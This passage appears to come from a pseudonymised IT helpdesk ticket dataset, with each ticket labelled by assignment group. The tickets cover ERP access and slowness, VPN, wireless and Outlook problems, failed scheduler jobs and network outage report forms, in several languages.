center to ensure that your network log-in id is correctly entered\_x000D\_
, is assigned to Assignment group: GRP\_23.Ticket with Short description: install aiqjxhuv dceghpwn viewer , Description: install aiqjxhuv dceghpwn viewer .\_x000D\_
.\_x000D\_
software available at p:\ drive in the \temporary\aiqjxhuv dceghpwn viewer subdirectory. , is assigned to Assignment group: GRP\_62.Ticket with Short description: urgent request to complete your requirement fy17 q1 ethics module - working together: promoting mutual respect, Description: hello,\_x000D\_
\_x000D\_
please advise, undeliverable e-mail. is this person still with company?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1967b failed in job\_scheduler at: 09/16/2016 10:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1967b failed in job\_scheduler at: 09/16/2016 10:59:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: not able to lopgin to collaboration\_platform using email address., Description: not able to login to collaboration\_platform using email address.\_x000D\_
changes settings in extension attribute editor15 and asked user to login after some time, is assigned to Assignment group: GRP\_0.Ticket with Short description: ship-to # 81051078 created / not visible in erp, Description: from: customermaster
sent: friday, september 16, 2016 7:14 pm
to: repyzajo lxfwopyq; customermaster; nwfodmhc exurcwkm
cc: fctmzhyk cznlfbom
subject: amar re: ship-to # 81051078 created / not visible in erp
importance: high
it,
ship to account # 81051078 was created in crm over 3 hrs ago and is still not visible in ecc (SID\_34). all required fields are completed. please advise why this account has not replicated to SID\_34. this account is needed for additional actions!!
nkthumgf mwgdenbs
nkthumgf.mwgdenbs@gmail.com
ph:
from: repyzajo lxfwopyq
sent: friday, september 16, 2016 6:44 am
to: customermaster
cc: fctmzhyk cznlfbom
subject: ship-to # 81051078 created / not visible in erp
importance: high
hello customer master team,
we have created a new ship-to address # 81051078 for the sold-to #81034820 under 1278/01/03.
the account is set up correctly and visible in crm, but after few hours it is still not visible in erp.
could you please help ?
best , is assigned to Assignment group: GRP\_15.Ticket with Short description: solicito a instalaÃ§Ã£o de software adobe acrobat, Description: solicito a instalaÃ§Ã£o do software adobe acrobat para a manutenÃ§Ã£o e criaÃ§Ã£o de documentos diversos como, importaÃ§Ã£o e exportaÃ§Ã£o., is assigned to Assignment group: GRP\_62.Ticket with Short description: analysis for office - hana - access (1 user out of 3 without access to hana), Description: \_x000D\_
\_x000D\_
received from: uzpycdho.hdswinlo@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
within the european pricing team we are experiencing for some users troubles in getting the right connection to business explorer hana.\_x000D\_
\_x000D\_
you will receive a couple of tickets in showing what the error / behavior is and hope for you a quick resolution from you.\_x000D\_
\_x000D\_
user: uylvgtfi eovkxgpn, germany location\_x000D\_
\_x000D\_
attachment:\_x000D\_
set of instruction we are using\_x000D\_
error log\_x000D\_
and screenshot below.\_x000D\_
\_x000D\_
setup of the machine has been completed through local it.\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: vendor and customer balance in local currency list(sÂ­\_alr\_98123193 and s\_alr\_98123283), Description: help desk,\_x000D\_
\_x000D\_
in fy2017, the end of month balance in s\_alr\_98123193 is different from the trial balance in f.01. \_x000D\_
previous month end of balance is zero in s\_alr\_98123193.\_x000D\_
\_x000D\_
under the same conditions in fy2016, previous month end of balance appear.\_x000D\_
and the end of month balance match between s\_alr\_98123193 and f.01.\_x000D\_
\_x000D\_
what is the cause?\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: erp access issue : passward re-set for SID\_4, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_4
enter user id of user having the issue: arrojhsjd
transaction code(s) the user needs or was working with:
describe the issue:
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: wireless is not working., Description: wireless is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked., Description: erp SID\_34 account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to shop\_floor\_app corrected, Description: i don't have the access to update work centers in shop\_floor\_app. i don't have access to the system tab in shop\_floor\_app. it looks like i am missing some items, is assigned to Assignment group: GRP\_43.Ticket with Short description: virus issue /google maps issue , Description: virus issue /google maps issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to install engineering\_tool, Description: unable to install engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: johghajknn needed information about passwords., Description: johghajknn needed information about passwords., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch engineering tool, Description: name:stefyty hipghkinjyt
language:
browser:microsoft internet explorer
email:zikuvsat.spxycizr@gmail.com
customer number:
telephone:
summary:engineering tool has failed to load.
error log available, but too large to paste here., is assigned to Assignment group: GRP\_0.Ticket with Short description: unlocked account, Description: unlocked account, is assigned to Assignment group: GRP\_0.Ticket with Short description: explanation about password manager is required., Description: explanation about password manager is required., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to wireless., Description: unable to connect to wireless., is assigned to Assignment group: GRP\_0.Ticket with Short description: mjvfxnka zvjxuahe is not able to add campaign "global hard machining" to his opportunities, Description: when user adds the above campaign to an opportstorage\_product and hits save crm delivers the error that he does not have privilages to perform this action. log file and screenshot attached. \_x000D\_
eva\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: install pdfmailer \ahlqgjwx wbsfavhg, Description: install pdfmailer \ahlqgjwx wbsfavhg, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to connect to wifi, Description: unable to connect to wifi, is assigned to Assignment group: GRP\_0.Ticket with Short description: password change , no outlook, Description: \_x000D\_
\_x000D\_
received from: xkegcqov.drctxjqi@gmail.com\_x000D\_
\_x000D\_
changed my password this morning now i cannot open outlook.\_x000D\_
this happened last time also, it was a crm issue that happens when password is changed.\_x000D\_
\_x000D\_
high importance\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
xkegcqov drctxjqi\_x000D\_
application engineer - cmp\_x000D\_
industrial segment\_x000D\_
xkegcqov.drctxjqi@gmail.com\_x000D\_
m 1-229-300-4142\_x000D\_
t 1-800-446-7738\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: installl bex analysis add in, Description: installl bex analysis add in, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop battery needs to replaced aerp:service tag:dd9p882, Description: my laptop battery needs to be replaced aerp. battery backup is very poor laptop is powering off when i remove it from docking station.\_x000D\_
service tag:dd9p882\_x000D\_
laptop model:dell latitude e5450, is assigned to Assignment group: GRP\_19.Ticket with Short description: no 'originals' for dir71805607 - manufacturing waiting, Description: there have been no 'original' files created for dir71805607. it is fr. production is on hold waiting for these files., is assigned to Assignment group: GRP\_46.Ticket with Short description: an der maschine 15 (agathon combi) funktioniert die netzwerkverbindung nicht, Description: hallo \_x000D\_
\_x000D\_
an der maschine 15 (agathon combi) funktioniert die netzwerkverbindung nicht.\_x000D\_
kannst du bitte einmal nachschauen?\_x000D\_
\_x000D\_
danke\_x000D\_
\_x000D\_
gruÃŸ\_x000D\_
marftgytin\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to install engineering\_tools, Description: unable to install engineering\_tools.
t +, is assigned to Assignment group: GRP\_25.Ticket with Short description: inc1551048 - ticket update, Description: inc1551048 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype audio issue, Description: other person unable hear my warehouse\_tool on skype call., is assigned to Assignment group: GRP\_19.Ticket with Short description: space requirement in grinding drive, Description: \_x000D\_
\_x000D\_
received from: vkzwibco.pueyvhoi@gmail.com\_x000D\_
\_x000D\_
dear sir/madam,\_x000D\_
\_x000D\_
the space available in grinding drive is only 791 mb. please provide additional space in the drive at the earliest.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35033.4c7cf5c0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: network outage:india - india ():vpn circuit is down since at 5:49 am et on 09/16.no backup, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_5:49 am et on 09/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_email\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: need telephony\_software to be installed on ebhl8111136 - xwgnvksi dwijxgob - urgent csr cannot take calls, Description: need telephony\_software to be installed on ebhl8111136 - xwgnvksi dwijxgob
please contact karghyuen via skype for remote installation
(zmgsfner caltmgoe - phone: ), is assigned to Assignment group: GRP\_33.Ticket with Short description: call to check if hybegvwo dbgrtqhs account is disabled, Description: call to check if hybegvwo dbgrtqhs account is disabled, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: revised prices - local, Description:
received from: ryculmsd.wofgvkrb@gmail.com
hi ;
can we just make sure of these facts â€“ please.
please can you confirm if this customer has a valid statement as he is complaining about our service and response to his mail and info forwarded to him .
please just copy me in with your comments.
janhytrn ooshstyizen
sales manager - construction sa
ryculmsd.wofgvkrb@gmail.com<mailto:ryculmsd.wofgvkrb@gmail.com>
new road king bit catalog:
from: johan kok [mailto:johan.kok@in-corp.com]
sent: friday, september 16, 2016 10:51 am
to: jofghan kddok <jofghan.kddok@alphastdgtyal.com>; janhytrn ooshstyizen <ryculmsd.wofgvkrb@gmail.com>; 'hennidgtydhyue booysen' <hennidgtydhyue.booysen@es.co.za>
subject: re: revised prices - local
hi jan,
i did request this before. please could you ensure that your e-mail administrator (wherever in the world he sits), could fix the below:
this message was created automatically by mail delivery software.
a message that you sent could not be delivered to one or more of its recipients. this is a permanent error. the following address(es) failed:
ryculmsd.wofgvkrb@gmail.com<mailto:ryculmsd.wofgvkrb@gmail.com>
host company-com.mail.protection.outlook.com [207.46.163.247]
smtp error from remote mail server after rcpt to:<ryculmsd.wofgvkrb@gmail.com<mailto:ryculmsd.wofgvkrb@gmail.com>>:
550 5.7.1 service unavailable, client host [154.0.170.195] blocked using customer block list (as27123718)
, is assigned to Assignment group: GRP\_26.Ticket with Short description: wunderlist add in, Description: \_x000D\_
\_x000D\_
received from: bmudkpie.qolrvbip@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i use a microsoft mobile phone and in the outlook for the mobile are no tasks available.\_x000D\_
\_x000D\_
can we use wunderlist add in ?\_x000D\_
\_x000D\_
there is an app for it and an outlook add in, but it's not starting.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: ich sehe meine reisekostenabrechnungen in erp nicht mehr (transaktion pr05). , Description: ich sehe meine reisekostenabrechnungen in erp nicht mehr (transaktion pr05). es kommt die meldung infotype '0017' for 01.09.2016 does not exist for pers. no.\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: we are not getting communication in to attendance\_tool system from the following clocks. request you to check on priority., Description: we are not getting communication in to attendance\_tool system from the following clocks. request you to check on priority., is assigned to Assignment group: GRP\_19.Ticket with Short description: drucker tauschen ( we39 und we75 ) \gogtyek, Description: drucker tauschen ( we39 und we75 ) \gogtyek, is assigned to Assignment group: GRP\_24.Ticket with Short description: account of thomafghk is disabled, Description:
received from: ustvaifg.hmzfewks@gmail.com
hello
someone has disabled the ad account of hybegvwo dbgrtqhs / thomafghk 2 days ago.
could you please reactivate it and tell us why it was disabled.
has changed the location from switzerland to germany, but he is still an employee.
michghytuael (as the manager of hybegvwo dbgrtqhs) or mathyuithihyt (as the director hr) please confirm that is still working for company.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: probleme mit outlook \ engracia.gonzales-fernandez , Description: probleme mit outlook \ engracia.gonzales-fernandez , is assigned to Assignment group: GRP\_24.Ticket with Short description: kpobysnc tqvefyui mail box needs to be approved nad then uacyltoe hxgaycze and enable, Description: please approve the mailbox of kpobysnc tqvefyui user in following environments:\_x000D\_
uacyltoe hxgaycze:- \_x000D\_
tempdev-\_x000D\_
train-\_x000D\_
prod-\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: application response time (other network resources work normally), Description: our colleagues have opened a ticket about the same issue that spain (sales org 1248 ) and portugal (sales org 1406) have. \_x000D\_
\_x000D\_
ticket inc1551906 \_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_512 failed in job\_scheduler at: 09/16/2016 04:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
9/16/2016 3:07:31 am :: error: cannot authenticate user.\_x000D\_
soap fault. detail: '', endpoint: ''\_x000D\_
soap connection is not available. connection id: [HostName\_1018.company.company.com].\_x000D\_
failed to create nfc download stream. nfc path: [nfc://conn:HostName\_1018.company.company.com,nfchost:host-30668,stg:datastore-63448@HostName\_919/HostName\_919.vmx].\_x000D\_
\_x000D\_
job Job\_512 failed in job\_scheduler at: 09/16/2016 04:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: network access for vahjtusa wenghtyele for fÃ¼rth network drive is required , Description: folder :; \\eagcldaten\teams\gpc
access read and write
user id weghyndlv , is assigned to Assignment group: GRP\_34.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/16/2016 04:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
[critical] from: bda-net@lhqSID\_1840.company.company.com "lhqSID\_1840.company.company.com [/e]" time: 9/16/2016 4:20:04 am\_x000D\_
ipc failure reading net message (ipc read error\_x000D\_
system error: [10054] connection reset by peer\_x000D\_
) => aborting.\_x000D\_
\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/16/2016 04:21:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage:usa mi :brembo: site hard down since at 9/16/2016 4:04 am et, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_9/16/2016 4:04 am et\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_na\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: probleme mit erpgui \vsdtxwry ngkcdjye, Description: probleme mit erpgui \vsdtxwry ngkcdjye, is assigned to Assignment group: GRP\_24.Ticket with Short description: many users in our germany location (earlier germany) are complaining of response time issues in erp, Description: we are experiancing slow response times in our location in erp. various transactions ( va01, va02, va21, va22, md04 etc. i am currentlyx on server axhg30335 and mine is ok but others complain. as i was on server HostName\_197 i experienced also issues. i have heard of at least 3 servers with issues HostName\_197,30331 and 30338. please check network or connection and advise., is assigned to Assignment group: GRP\_14.Ticket with Short description: erp zload - releasing orders in vSID\_62 take much too long - please check!, Description: the erp response time, especially out of zload takes much too long.
anfghyudrejy, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp performance, Description:
received from: ctvaejbo.mjcerqwo@gmail.com
hi,
we're noticing very slow performance with erp at the uk facility,
pollaurid d phlpiops
manager engineering technology
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is slow in multiple locations : poland , united kingdom, germany, Description: erp is slow.\_x000D\_
internet is running fine.\_x000D\_
other applications (outlook etc) are running fine.\_x000D\_
many users are affected., is assigned to Assignment group: GRP\_4.Ticket with Short description: laptop not use audio , Description: \_x000D\_
\_x000D\_
received from: yjwivxsh.fcetobrj@gmail.com\_x000D\_
\_x000D\_
dear it team\_x000D\_
\_x000D\_
my laptop can't use audio file and not sound.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is slow for few users at poland office., Description: erp is slow for few users at poland office.\_x000D\_
not all users impacted., is assigned to Assignment group: GRP\_0.Ticket with Short description: network problems (multiple applications are running slow), Description: how did you determine there are network problems ? all system are very slowly\_x000D\_
\_x000D\_
is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow) no\_x000D\_
\_x000D\_
are more than one transactions impacted? yes\_x000D\_
\_x000D\_
what erp server are you on (server name is located in the status bar at the bottom \_x000D\_
right of your screen) ? apo-server, EU\_tool server etc.\_x000D\_
\_x000D\_
do other co-workers also notice slow response times ? yes, many colleagues in plant\_228\_x000D\_
\_x000D\_
what other applications are running slow ? EU\_tool, erp, print drawings, create delivery notes, EU\_tool \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_59.Ticket with Short description: job Job\_2645 failed in job\_scheduler at: 09/16/2016 03:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2645 failed in job\_scheduler at: 09/16/2016 03:25:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot syncronize outlook appointments to crm, Description: \_x000D\_
\_x000D\_
received from: lzycofut.mzbovhpd@gmail.com\_x000D\_
\_x000D\_
dear it help team,\_x000D\_
\_x000D\_
hi.\_x000D\_
\_x000D\_
i cannot synchronize appointments nor press anything from outlook crm tag like attached picture below.\_x000D\_
\_x000D\_
please help me out.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35036.5992ff90]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: foreign trade data missing in the inwarehouse\_tool, Description: inwarehouse\_tool 0159130578 was blocked in the system for foreign data were missing in item 20 and 30. after first analysis, infos were available in mm 03 for both concerned materials- inwarehouse\_tool is now completed but could you check what happened in order to avoid futur issues (was material correctly entered in mm03, any steps missing ? was there a erp incident that leads to this issue ?...), is assigned to Assignment group: GRP\_13.Ticket with Short description: question, Description: hello bobhyb,
sorry, i don't know more than this.
i am copying this to help team, if they could help you further.
, is assigned to Assignment group: GRP\_13.Ticket with Short description: vpn access issue, Description: hello team,
yvhlenaz ptuqhrwk (on cc) cannot connect to vpn.
he can access to
but once he tries to connect vpn, small window (below pictures) shows up shortly and disconnected.
(second picture says "discconect")
i checked device manager, but i could not find "other devices" in his pc.
other network adapters have lauacyltoe hxgaycze drivers.
please give us your advice.
âˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆž
xmgptwho fmcxikqz k.k.
æµ…é‡Ž å¥ / takheghshi afefsano
âˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆž
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password blocked, Description:
received from: wrelsfqa.qfwosjkh@gmail.com
good morning
please can you unblock user nieghjyukea. we tried using password\_management\_tool id password manager, but it does not want to work. she cannot get into the system at all.
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: user tuzkadxv rxloutpn cannot use the "run report" , Description: hello team,\_x000D\_
\_x000D\_
user tuzkadxv rxloutpn is trying to use the "run report" functionality in the opportstorage\_product => opportstorage\_product report, which is a 1-page summary of the opportstorage\_product, but it does not return any data for him, just a blank screen. . i could not find out why it is happening. \_x000D\_
could you help me how to troubleshoot in this matheywter?\_x000D\_
\_x000D\_
the screenshot is taken by me, not the user, just to illustrate which functionality i am talking about. i do not have a screenshot from the user yet, but it is not workng for him on ny of his opportunities. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: job Job\_1332 failed in job\_scheduler at: 09/16/2016 02:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1332 failed in job\_scheduler at: 09/16/2016 02:46:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_3049 failed in job\_scheduler at: 09/16/2016 02:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
193ftp error: put zmm\_bestand\_stl.dat\_x000D\_
\_x000D\_
job Job\_3049 failed in job\_scheduler at: 09/16/2016 02:16:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: not able to access -inq industrial (-inq.industrial@company.com), Description: \_x000D\_
\_x000D\_
received from: muqdlobv.qflsdahg@gmail.com\_x000D\_
\_x000D\_
team,\_x000D\_
\_x000D\_
i am not able access to -inq industrial (-inq.industrial@company.com<mailto:-inq.industrial@company.com>) for which we receive enquiries about special products.\_x000D\_
from past one week above mentioned shared email box is not functioning for me, whereas other members are able to access the same.\_x000D\_
so i kindly request you to take it upon high priority and confirm back.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: carrier information lost when bulk indicator is removed and multiple line delivery can't be processed in kis â€“ carrier ip, Description: ship method information is lost when bulk shipment indicator is removed and multiple line delivery can't be processed in kis â€“ carrier ipd, is assigned to Assignment group: GRP\_18.Ticket with Short description: telephony\_software break down, Description: when shutdown the computer yesterday, the windows update wasload. i could not stop the update.\_x000D\_
so telephony\_software must be fixed. \_x000D\_
see these informations:\_x000D\_
\_x000D\_
all,\_x000D\_
we have been identifying the update which is causing the issue.\_x000D\_
when updating your computer disable kb4283716 from the lists with updates.\_x000D\_
\_x000D\_
in case it happened anyway, have it to remove it.\_x000D\_
\_x000D\_
urvitans laqdwvgo\_x000D\_
cec analyst operational excellence emea \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: usa: site hard down since at 1:13 am et on 09/16., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_1:13 am et on 09/16.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: gtehdnyushot kennconnect problem , Description: \_x000D\_
\_x000D\_
received from: dxnskvbm.xbaswghy@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
i changed my password yesterday.\_x000D\_
i can open kennconnect & log in but things have changed :\_x000D\_
my favorites dierppeared .\_x000D\_
it asks to input customer but Â«customer s search Â» does not work .\_x000D\_
opening favorites, it says to call helpdesk .\_x000D\_
\_x000D\_
please call aerp so i am able to work today .\_x000D\_
\_x000D\_
\_x000D\_
[gtehdnyushot capture]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: milano,italy: duplex mismatch gi2/0/1 on 1811 router and gi0/0/1 on 4331 router. see discription for more info., Description: duplex mismatch: duplex mode on interface gigabitethernet2/0/1 Â· uplink to company-eu-ita-milano-dmvpn-1811-rtr01 on company-eu-ita-milan-g12-3750-core-stack-sw01.company.com is half. check duplex configuration on both end devices of the link and make sure the duplex mode matches.\_x000D\_
\_x000D\_
duplex mismatch: duplex mode on interface gigabitethernet0/0/1 Â· " connection to lan " on company-eu-ita-milano-dmvpn-4331-rtr01.company.com is full. check duplex configuration on both end devices of the link and make sure the duplex mode matches.\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: urgent! mm 2122084 // dn 9169293441 //pt. indonesia pratma, Description: \_x000D\_
\_x000D\_
received from: aqrhwjgo.cyelqkvs@gmail.com\_x000D\_
\_x000D\_
dear it team,\_x000D\_
\_x000D\_
could you please check and advise from where cost on the attached shipping inwarehouse\_tool is? as per standard cost, it is only usd 0.04 per piece but it is deusad on shipping document sgd 67.89 (usd 49.55). this matheywter effects a customer to pay high cost of import duty.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to connect vpn at home., Description: \_x000D\_
\_x000D\_
received from: qmkpsbgl.zfovlrah@gmail.com\_x000D\_
\_x000D\_
hello company help,\_x000D\_
\_x000D\_
could you please check my laptop settings because i am getting inconsistent company vpn connection at home ?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 09/15/2016 23:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap2 failed in job\_scheduler at: 09/15/2016 23:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp locked, Description: \_x000D\_
\_x000D\_
received from: xosycftu.olhpmsdw@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
my erp is locked.\_x000D\_
please unlock.\_x000D\_
i used password\_management\_tool password manager to unlock my account.\_x000D\_
i can use vpn, but can not log in erp\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to connect to the erp , Description: not able to connect to the erp , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3052 failed in job\_scheduler at: 09/15/2016 22:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
193ftp connection error to system HostName\_514 \_x000D\_
\_x000D\_
